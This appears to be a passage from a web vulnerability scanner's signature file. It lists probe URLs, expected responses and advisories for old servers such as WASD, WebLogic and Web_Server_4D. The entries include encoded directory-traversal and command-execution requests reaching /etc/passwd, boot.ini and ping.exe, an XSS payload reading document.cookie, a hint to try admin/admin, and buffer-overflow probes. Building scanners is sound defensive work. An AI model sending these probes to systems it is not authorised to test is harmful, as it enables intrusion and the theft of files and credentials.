"simpleserver","/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%49%4E%4E%54%2F%73%79%73%74%65%6D%33%32%2Fping.exe%20127.0.0.1","Reply from 127.0.0.1","GET","Specially formatted strings allow command execution. Upgrade to version 1.15 or higher. CVE-2000-0011."
"simpleserver","/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%69%6E%64%6F%77%73%2Fping.exe%20127.0.0.1","200","GET","Specially formatted strings allow command execution. Upgrade to version 1.15 or higher. CVE-2000-0011."
"sun","/SUNWmc/htdocs/","en_US","GET","Sun SMC (Solaris Management Console) is running."
"tivoli","/signon","Administrator Login","GET","Tivoli administrator login found. Test the default login of admin/admin.  Tivoli allows system administration."
"w4","/cgi-bin/cgi-test.exe","200","GET","Default CGI found"
"wasd","/*.*","index of","GET","WASD Server reveals the contents of directories via this URL. Upgrade to a later version and secure according to the documents on the WASD web site."
"wasd","/cgi-bin/cgi_process","200","GET","WASD reveals a lot of system information in this script--it should be removed."
"wasd","/ht_root/wwwroot/-/local/httpd$map.conf","200","GET","WASD reveals the http configuration file. Upgrade to a later version and secure according to the documents on the WASD web site."
"wasd","/JUNK(10)","Document not found ... /","GET","WASD reveals the web root in error requests. Upgrade to a later version and secure according to the documents on the WASD web site."
"wasd","/local/httpd$map.conf","200","GET","WASD reveals the http configuration file. Upgrade to a later version and secure according to the documents on the WASD web site."
"wasd","/tree","200","GET","WASD Server reveals the entire web root structure and files via this URL. Upgrade to a later version and secure according to the documents on the WASD web site."
"wasd","/upd/","200","GET","WASD Server can allow directory listings by requesting /upd/directory/. Upgrade to a later version and secure according to the documents on the WASD web site."
"weblogic","/%00/","Index of","GET","Weblogic allows directory listings with %00 (or indexing is enabled), upgrade to v6.0 SP1 or higher."
"weblogic","/%2e/","<%","GET","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher."
"weblogic","/%2f/","<%","GET","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher."
"weblogic","/%5c/","<%","GET","Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher."
"weblogic","@CGIDIRSindex.js0x70","\<\%\=","GET","The Weblogic can be tricked into revealing jsp source by adding '0x70' to end of the URL."
"webserver4d","/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd","root:","GET","The Web_Server_4D is vulnerable to a directory traversal problem."
"webserver4d","/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../boot.ini","boot loader","GET","The Web_Server_4D is vulnerable to a directory traversal problem."
"website","/%a%s%p%d","*s?d","GET","Format bug is present & may reveal system path, upgrade to the latest version."
"website","/cgi-dos/args.bat","200","GET","This might be interesting..."
"website","/cgi-shl/win-c-sample.exe","200","GET","win-c-sample.exe has a buffer overflow"
"website","/index.html%20","File for URL","GET","Website may reveal file system paths by adding %20 to the end of a legitimate .html request."
"website","/sam","200","GET","This might be interesting..."
"website","/sam.bin","200","GET","This might be interesting..."
"website","/sam._","200","GET","This might be interesting..."
"website","@CGIDIRSwebfind.exe?keywords=01234567890123456789","500","GET","May be vulnerable to a buffer overflow (request 2000 bytes of data). Upgrade to WebSitePro 2.5 or greater"
"zeus","/apps/web/index.fcgi?servers=&section=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Zeus Admin server 4.1r2 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."